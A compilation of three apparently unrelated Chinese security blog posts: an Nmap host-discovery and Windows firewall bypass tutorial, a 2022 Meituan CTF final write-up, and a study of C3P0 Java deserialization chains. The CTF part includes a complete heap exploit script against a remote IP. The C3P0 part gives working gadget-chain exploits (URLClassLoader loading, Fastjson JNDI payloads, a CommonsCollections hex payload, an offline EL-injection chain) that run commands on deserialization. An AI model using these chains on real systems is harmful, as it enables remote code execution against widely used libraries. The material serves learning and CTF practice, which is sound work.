请求局域网主机666端口(关闭)
nmap -sn -PA666 172.16.1.128 -vvv -n --disable-arp-ping
-PU(UDP)
UDP Ping:发送UDP包到指定端口检测主机是否存活,默认40125端口。特定端口会发送特定的UDP包以便于获取更好的响应。
按照最新官方文档解释,该包发送大概有以下几种情况:
端口关闭->返回ICMP端口不可达包->判断主机存活。
返回其他ICMP错误,如主机/网络不可达或TTL超标等->判断停机。
端口开启且该服务不响应—>nmap未接收到返回包->判断停机。
端口关闭且协议不匹配->返回ICMP端口不可达包->判断主机存活。
这就是为什么默认要用40125这么冷门的端口,避免有服务使用该端口。
nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping
返回ICMP端口不可达,仍旧判断出主机存活。
局域网没什么问题,扫外网的话同样有前文说的Vmware Nat网络问题,注意一下就好。
-PY(SCTP INIT)
SCTP INIT Ping:发送包含最小INIT块的SCTP包到指定端口检测主机是否存活,默认80端口。SCTP可看做TCP协议的改版。
nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping
返回协议不可达,以此判断出主机存活。
-PR(ARP)
ARP Ping:ARP扫描,Nmap扫内网最常用的方式。
nmap -sn -PR 172.16.1.128 -vvv -n
接收到arp返回包,判断主机存活。
-PE/PP/PM(ICMP)
ICMP Ping:三种ICMP标准请求,如果防火墙关掉ICMP回显则收不到reply。
第一个就是常说的Ping。
第二个是时间戳请求
第三个是地址掩码请求
ICMP标准还有个信息请求,但目前未被广泛支持,所以Nmap没有做相关功能。
-PO(IP Protocol)
IP Protocol Ping:默认发送ICMP(协议1)、IGMP(协议2)和IP-in-IP(协议4),更改协议需要改nmap.h文件中的DEFAULT_PROTO_PROBE_PORT_SPEC。目前意义不大。
nmap -sn -PO -vv 172.16.1.128 -n --disable-arp-ping
端口扫描(Scan)
其实端口扫描(Scan)很多参数和主机发现(Ping)的前期抓包情况是一样的。Ping相当于点到为止,根据回显发现主机存活即可,而Scan还需要进一步分析,判断端口是否开启、判断什么服务等。
由于大部分Scan参数与Ping参数请求包一致,而部分Scan参数在本文中并未体现,所以暂且贴出三个参数抓包情况。
-sS(TCP SYN)
TCP SYN scan:经典的半开放扫描。
nmap -Pn -sS -p 135 -vvv 172.16.1.128 -n
可见发送的请求包和-PS是一样的,至于Nmap如何判断如何分析,这里就不关心了。
-sT(TCP connect)
TCP connect scan:TCP连接扫描,三次握手确认目标后直接发送RST结束当前连接,跳过四次挥手阶段。
端口开启
nmap -Pn -sT -p 135 172.16.1.128 -vvv -n --disable-arp-ping
# -Pn 不进行主机存活探测
端口关闭
可以发现,-sT和-PS两个扫描的抓包情况十分接近,只有收到SYN/ACK返回包后应答的不同,这也是-PS被称为半开放扫描的原理。
-sU(UDP)
UDP scans:发送UDP包进行扫描
nmap -Pn -sU -p 135 172.16.1.128 -vvv -n --disable-arp-ping
这里显示open|filtered,为什么呢?
因为UDP包请求到开放的端口,经常没有回显。而且这里使用-Pn跳过了主机存活探测,默认主机存活,又因为收不到回显,所以nmap无法判断该端口是开启还是被防御规则过滤。
抓包情况和-PU基本一致:
绕防火墙测试
拓扑图
测试
nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping
未收到[SYN, ACK]返回包,判断主机离线。
nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping
未收到[RST, ACK]返回包,判断主机离线。
nmap -sn -PU135 172.16.1.128 -vvv -n --disable-arp-ping
nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping
nmap -sn -PR 172.16.1.128 -vvv -n
成功收到ARP回显,判断主机存活:
这样一圈测试下来,发现只有ARP扫描可以。原因也很简单,ARP扫描不会走靶机防火墙,而是以广播的形式进行扫描;而其他参数不是被禁ICMP回显规则拦截就是被隐身模式过滤。
后面又尝试了常用的nbt扫描、smb扫描、以及Nmap其他参数,仍然绕不过防火墙。
WINRM
难道就止步于此了吗?突然想到,之前用Ladon插件扫的时候,没见什么防火墙拦截。
于是拿Ladon测试了下,选多协议探测存活主机,一扫,果真有:
WIMRM,很熟悉,这也能拿来扫内网?
简单概述下:WIMRM是windows自带的服务,开启服务后防火墙默认放心5985(HTTP)/5986(HTTPS)端口,平常拿来横向移动。
由于没搜到Ladon源码怎么实现该扫描,谷歌找了找WINRM的文章:https://www.hackingarticles.in/winrm-penetration-testing/
其中有一行代码:
test-wsman -computername "172.16.1.128"
很快就有回显:
随便输了个其他IP,报错:
显然,使用该服务也可以绕过Windows防火墙进行存活主机扫描。
结语
总结一下:
arp扫描
可以使用工具,但到了扫内网的情况,都是拿shell了,所以直接cmd命令:arp/a即可。
WINRM
test-wsman -computername "172.16.1.128"
至于如何绕防火墙进行端口扫描,留到以后再说吧。
2022美团CTF个人决赛WP
Reverse
ROP
解析data的ROP,一点一点还原
from pwn import *
opcode = open('data', 'rb').read()
opcode_gadget = opcode[0x30+8:]
for offset in range(0, len(opcode_gadget), 8):
print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')
提取出来密文,转成64位的
cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,
0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]
cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little') for i in range(0,32,8)]
分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种
流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算
然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]
最后对比密文跳转结果
照着指令写一个逆回来的过程
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};
void add(int i,int j){
bss_flag[i] -= bss_flag[j];
}
void sub(int i,int j){
bss_flag[i] += bss_flag[j];
}
void xor1(int i,int j){
bss_flag[i] ^= bss_flag[j];
}
int main(){
sub(0x0,0x7);
add(0x1,0x5);
sub(0x3,0x7);
add(0x0,0x5);
add(0x0,0x7);
sub(0x3,0x7);
add(0x0,0x5);
xor1(0x2,0x5);
xor1(0x2,0x5);
sub(0x3,0x7);
sub(0x2,0x6);
xor1(0x0,0x7);
add(0x2,0x4);
add(0x1,0x4);
xor1(0x1,0x7);
xor1(0x0,0x7);
sub(0x0,0x5);
sub(0x0,0x7);
sub(0x0,0x5);
add(0x1,0x7);
xor1(0x1,0x5);
add(0x1,0x6);
sub(0x1,0x4);
xor1(0x2,0x4);
add(0x1,0x4);
sub(0x0,0x6);
sub(0x2,0x7);
add(0x1,0x6);
sub(0x2,0x5);
add(0x0,0x7);
xor1(0x3,0x6);
add(0x2,0x4);
xor1(0x0,0x6);
xor1(0x0,0x5);
xor1(0x3,0x7);
xor1(0x0,0x4);
xor1(0x2,0x5);
xor1(0x2,0x6);
xor1(0x2,0x6);
xor1(0x3,0x4);
xor1(0x0,0x7);
xor1(0x2,0x5);
xor1(0x0,0x4);
xor1(0x3,0x5);
xor1(0x1,0x6);
xor1(0x3,0x7);
xor1(0x0,0x4);
xor1(0x1,0x4);
xor1(0x2,0x7);
xor1(0x1,0x7);
xor1(0x0,0x4);
xor1(0x2,0x6);
xor1(0x0,0x5);
xor1(0x1,0x7);
xor1(0x0,0x5);
xor1(0x0,0x4);
xor1(0x3,0x6);
xor1(0x1,0x7);
xor1(0x2,0x5);
xor1(0x0,0x7);
xor1(0x0,0x7);
xor1(0x2,0x4);
xor1(0x3,0x4);
xor1(0x3,0x7);
printf("%s",(char *)bss_flag);
// flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}
}
crackme
go语言,一开始我ida还f5反编译不了,换了个才可以,难顶
直接sm4加密和rc4,sm4密钥写死在代码里
rc4的key在linese.txt里,密文也在里面
exp:
from binascii import unhexlify
from Crypto.Cipher import ARC4
from sm4 import SM4Key
c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')
key = b'd0cac74c1bbeea071817360e491585e8'
cipher = ARC4.new(key)
m = cipher.decrypt(c)
key0 = SM4Key(b'xc08asb890ajds0a')
print(key0.decrypt(m))
Misc
What is that
stegsolve直接切换几个通道就可以看到
pwn
hello
直接网上查到kernel pwn qemu 的非预期
ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以
heap
一个UAF+数组上溢出
这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。
from pwn import *
context.log_level='debug'
#p=process('./pwn')
p=remote('47.95.8.59',42283)
elf=ELF('./pwn')
#libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')
libc=ELF('./libc.so.6')
def add(size):
p.sendafter(b'>\n', b'1')
p.sendafter(b'add?\n', str(size).encode())
def dele(index):
p.sendafter(b'>\n', b'2')
p.sendafter(b'up?\n', str(index).encode())
def edit(index,size,content):
p.sendafter(b'>\n', b'3')
p.sendafter(b'write?\n', str(index).encode())
p.sendafter(b'write?\n', str(size).encode())
p.sendafter(b'Content:', content)
def show(index):
p.sendafter(b'>\n', b'4')
p.sendafter(b'review?\n', str(index).encode())
show(-11)
p.recvuntil('Content:')
probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008
arraddr=probase+0x4060
add(0x10)
add(0x10)
add(0x10)
dele(0)
dele(1)
dele(2)
edit(1,8,p64(arraddr))
add(0x10)
add(0x10)
add(0x10)
edit(2,8,p64(probase+elf.got['puts']))
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(2,8,p64(free_hook))
edit(0,8,p64(system))
add(0x10)
edit(3,8,b'/bin/sh\x00')
dele(3)
p.interactive()
Java反序列化之C3P0链学习
0x01 前言
再多打一点基础吧,后续打算先看一看 XStream,Weblogic,strusts2 这些个
0x02 C3P0 组件介绍
C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。
JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多
0x03 C3P0 反序列化漏洞
环境
jdk8u65
pom.xml 如下
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
C3P0 反序列化三条 Gadgets
• 在去复现链子之前,既然这是一个数据源的组件,那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载,还有 Jndi 注入。
好叭看了其他师傅的文章才知道,C3P0 常见的利用方式有如下三种
• URLClassLoader 远程类加载
• JNDI 注入
• 利用 HEX 序列化字节加载器进行反序列化攻击(第一次见,应该是我少见多怪了
我们还是以漏洞发现者的角度来复现一遍,尝试着能否少看一些其他师傅的文章,较为独立的找到链子。
C3P0 之 URLClassLoader 的链子
C3P0 之 URLClassLoader 流程分析
我们先想一想,既然是 URLClassLoader 的链子,什么场景下会用到 URLClassLoader 的链子呢?
我的第一想法是,获取数据源很可能是通过 URLClassLoader 的,事实证明我的这种想法非常愚蠢,因为获取数据源并不是获取一个类。当然,最终也没找到,不过也是有点收获的。
后面又想到了,可能是 Ref 这种类型的类,于是我又回头找了一下,但是因为 IDEA 未能搜索依赖库内的内容,所以就寄了,直接看了其他师傅的文章。
找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法
最后还有类的加载 ———— instance(),我们的链子尾部就找好了。
继续往上找,应该是去找谁调用了 ReferenceableUtils.referenceToObject()
ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject(),继续往上找
PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject(),同时这也正好是一个入口类。
总结链子流程图如图
C3P0 之 URLClassLoader EXP 编写
手写一遍 EXP 试试
先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。
EXP 如下
public class RefToURLClassLoader {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");
Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/");
Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);
method.setAccessible(true);
Object o = method.invoke(clazz, reference, null, null, null);
Object object = method.invoke(o, null, null, null, null);
}
}
继续往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法
这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是 IndirectlySerialized 这个类。
在进行完这个判断之后
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,所以是无法直接用于代码里面的。
这个地方有点卡住了,我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么
如图,直接包装了一层 indirector.indirectForm()
我们跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector,所以语句也可以这么改写
ReferenceIndirector.indirectForm()
经过 ReferenceIndirector.indirectForm() 的 “淬炼”,我们直接看返回值是什么
这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类
跟进一下继承的接口
发现它继承了 Serializable 接口,至此,包装的过程分析结束。现在我们拿到的 "ConnectionPoolDataSource" 外表上还是 "ConnectionPoolDataSource",但是实际上已经变成了 "ReferenceSerialized" 这个类;事后师傅们可以自行打断点调试,这样体会的更深刻一些。
EXP 的编写也较为简单,值得一提的是,这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。
通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类
C3P0 之 JNDI 注入
误打误撞看到的一处伪 JNDI 注入,失败告终
虽然是误打误撞看到的,也是失败的,但是依然有价值。后面看了https://goodapple.top/的博客,发现这里居然还是可以利用的,简直太强了。
其实是在寻找上一条 Gadget 的时候发现的
位置在这个地方 com.mchange.v2.naming.ReferenceIndirector
它的 getObject() 方法里面有 initialContext.lookup()
所以我尝试了一下发现几个问题,虽然是坑吧,但是这个坑我更愿意称之为尝试。
首先这里,我们如果要触发 JNDI 注入,那么肯定需要控制 contextName 这个属性值,结果好巧不巧,这个属性值是一个类
既然是一个类,就不能直接赋给字符串对象,然后我尝试了它接口的实现类,发现不行,只能是自己这个接口;这利用面感觉太小太小了,很难挖;所以我这里就放弃了。
也挂一手失败的 EXP 吧
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Method method = clazz.getDeclaredMethod("getObject");
Field ContextField = clazz.getDeclaredField("contextName");
ContextField.setAccessible(true);
DnsName dnsName = new DnsName();
ContextField.set(dnsName,dnsName);
Object o = method.invoke(clazz);
method.invoke(o);
}
}
挺有意思的一次尝试,哈哈哈哈。
C3P0 之 JNDI 注入流程分析
这条链子是基于 Fastjson 链子的,也就是说,是 Fastjson 的某一条链
我们还是以漏洞发现者的思维去寻找,在库中全局搜索 Jndi,看看是否有收获
点开第一个试一下,接着在这个类当中找 jndi 关键词,看到了这个方法:dereference()
在第 112 行与第 114 行,有非常惹人注目的 ctx.lookup()
这里被 lookup() 的变量是 jndiName,跟进去看一下 jndiName 是什么
jndiName 是由 this.getJndiName() 搞来的,跟进看一看 getJndiName() 方法
这个方法做了一件什么事呢?它判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String;回想起我前文挖洞失败的那个经历,不就是因为传参是一个对象所以无法利用吗!
我这里的运气非常好,第一次找就找到了这个漏洞类
回到前面,我们看一下 dereference() 方法,是否允许我们传入一个 String 类型的参数
至此,链子的尾部已经是没问题的了,向上找可用的地方
同一个类下的 inner() 方法调用了它,继续往上找
这里有非常多的 getter/setter 方法,已经是满足作为 fastjson 调用链的条件了,但是对于选择上来说,我们选最简单的 setLoginTimeout() 方法,因为它的传参只需要我们传入一个整数即可。
我觉得这里已经可以写 EXP 了,但是看到有其他师傅的文章分析的意思是:还要继续向上找,可能是因为这个 JndiRefForwardingDataSource 类是 default 的类,觉得利用面还是不够大吧,我个人觉得从攻击的角度上来说是都可以的,后续在写 EXP 的环节也会把这个写进去。
如果要继续网上找的话,还有一个是可以利用的类
再向上找可能还是可以,还能利用,但已经完全没必要了。因为黑命单加的都是大类,如果简短的链子被 ban 了,再深的链子也是被 ban 的。
C3P0 之 JNDI EXP 构造
先导入 fastjson 的包,就先导 1.2.24 的吧,因为 1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单里面。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
JndiRefForwardingDataSource 的 EXP 如下
package JNDIVul;
import com.alibaba.fastjson.JSON;
// JndiRefForwardingDataSource 类的直接 EXP 调用
public class JndiForwardingDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调
JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。
public class JndiRefConnectionPoolDataSourceTest {
public static void main(String[] args) throws PropertyVetoException, SQLException {
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");
jndiRefConnectionPoolDataSource.setLoginTimeout(1);
}
}
用 fastjson 打也比较简单
public class JndiRefConnectionPoolDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
成功
C3P0 之 hexbase 攻击利用
• 这个点因为之前从来没有接触到过,所以跟着其他师傅的文章学习一下,同时这一种利用方式也是二次反序列化的利用之一。
C3P0 之 hexbase 流程分析
这条链子能成立的根本原因是,有一个
WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串
链子首部是在 WrapperConnectionPoolDataSource 类的构造函数中,如图
在给 userOverrides 赋值的时候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 这么一个操作,这个方法的作用就是反序列化 userOverride 把它这个 String 类型的东西转为对象。跟进
它这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中,这个字节流是拿去进行 SerializableUtils.fromByteArray() 的操作,值得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;
SerializableUtils#fromByteArray() 调用了 SerializableUtils#deserializeFromByteArray,跟进,看到了反序列化的操作 ———— readObject()
C3P0 之 hexbase EXP 编写
• 因为我们在链子的第一步的时候,看到传入的参数是 this.getUserOverridesAsString(),所以用 Fastjson 的链子打会很简单。
这里我们需要写一个构造 hex 的 EXP,调用之前学 CC 链就可以
EXP 如下
package hexBase;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class HexBaseFastjsonEXP {
//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
return expMap;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);
//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}
在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
C3P0 之 hexbase 调试分析
断点位置如图
因为我们第一次 Fastjson 拿进去打的是空,是用来加载的,第二次的 payload 是执行,所以可以直接跳过第一次的加载。
当第二次 Fastjson 进来的时候,就有了
在过了 substring 这一步之后,我们看到前面的:HexAsciiSerializedMap: 都无了,现在加载进来的才是真正的 hex 内容
接着,把 hex 的内容转化为了 bytes 字节码
下一步,进行反序列化
跟进
成功弹出计算器
C3P0 之 hexbase 另类 EXP 调试分析
在上文 EXP 的编写中,我提到了 "在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload"
这到底是怎么一回事儿呢
实际上 Fastjson 初始化 WrapperConnectionPoolDataSource 类时,userOverridesAsString 属性是空的,要想进行反序列化操作,必须先给其赋值。理论上来说,要想解析 userOverridesAsString 属性,至少需要调用两次构造函数。
我们来调试看一下
断点依旧是同一个位置,开始调试
惊奇的发现,userOverrideAsString 一开始为 null,但是经过一轮之后,变成了 hex;这到底是为什么呢?我们可以去到 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面去看一看
不妨在这个地方下个断点,然后调试一下。
师傅们调试的时候会发现,这个
setUserOverridesAsString() 的运行逻辑大致是这样的,首先把之前为 null 的 userOverridesAsString 赋值给 oldVal,接着判断这两个是否相等,或者是否都为 null,如果不满足这个条件,就把新的值赋给 userOverridesAsString,如图
后续的过程和前面一样,就不再分析了。
0x04 C3P0 链子的不出网利用
这一种攻击方式是向https://goodapple.top/archives/1749学到的
不论是 URLClassLoader 加载远程类,还是 JNDI 注入,都需要目标机器能够出网。
而加载 Hex 字符串的方式虽然不用出网,但却有 Fastjson 等的相关依赖。那么如果目标机器不出网,又没有 Fastjson 依赖的话,C3P0 链又该如何利用呢?
关于 Java 的链子,如何不出网利用一直是一个很有趣的话题,也是很有意思的攻击面。
在 Jndi 高版本利用中,我们可以加载本地的 Factory 类进行攻击,而利用条件之一就是该工厂类至少存在一个 getObjectInstance() 方法。比如通过加载 Tomcat8 中的 org.apache.naming.factory.BeanFactory 进行 EL 表达式注入;关于 EL 表达式注入可以看这篇 https://drun1baby.github.io/2022/09/23/Java-%E4%B9%8B-EL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
先导入依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
C3P0 链子的不出网利用分析与 EXP
已经确定是想通过 EL 表达式注入的方式攻击了,我们需要先选择攻击的链子。
Jndi 的链子比较难,限制非常多,而且是不出网的利用,所以 pass 了;
URLClassLoader 的链子是可行的,只需要我们把之前 URLClassLoader 的 EXP 进行一些修改即可。
HexBase 的链子也是不可行的,因为它是基于 Fastjson 的一条链子。
EXP 如下
package NoNetUsing;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class NoAccessEXP {
public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
//序列化
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
//反序列化
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref);
unserialize();
}
}
把原来 URLClassLoader 的地方修改成 EL 表达式的命令执行即可。
C3P0 链子的不出网利用调试
简单调试理解一下。
先把断点下在 BeanFactory 的 getObjectInstance() 方法下,因为这里是一定被调用到的。
此处,我们可以看到之前的调用链,如图
我们去到 readObject() 方法的地方加一个断点,再重新跑一遍,简单调试一下,我们就可以看到这是一个 URLClassLoader 的链子。
此处进行了命令执行的操作
0x05 小结
C3P0 这条链子分析起来还是不难,建议师傅们可以动手去尝试一个个类看一下,看哪里可能会存在有漏洞。
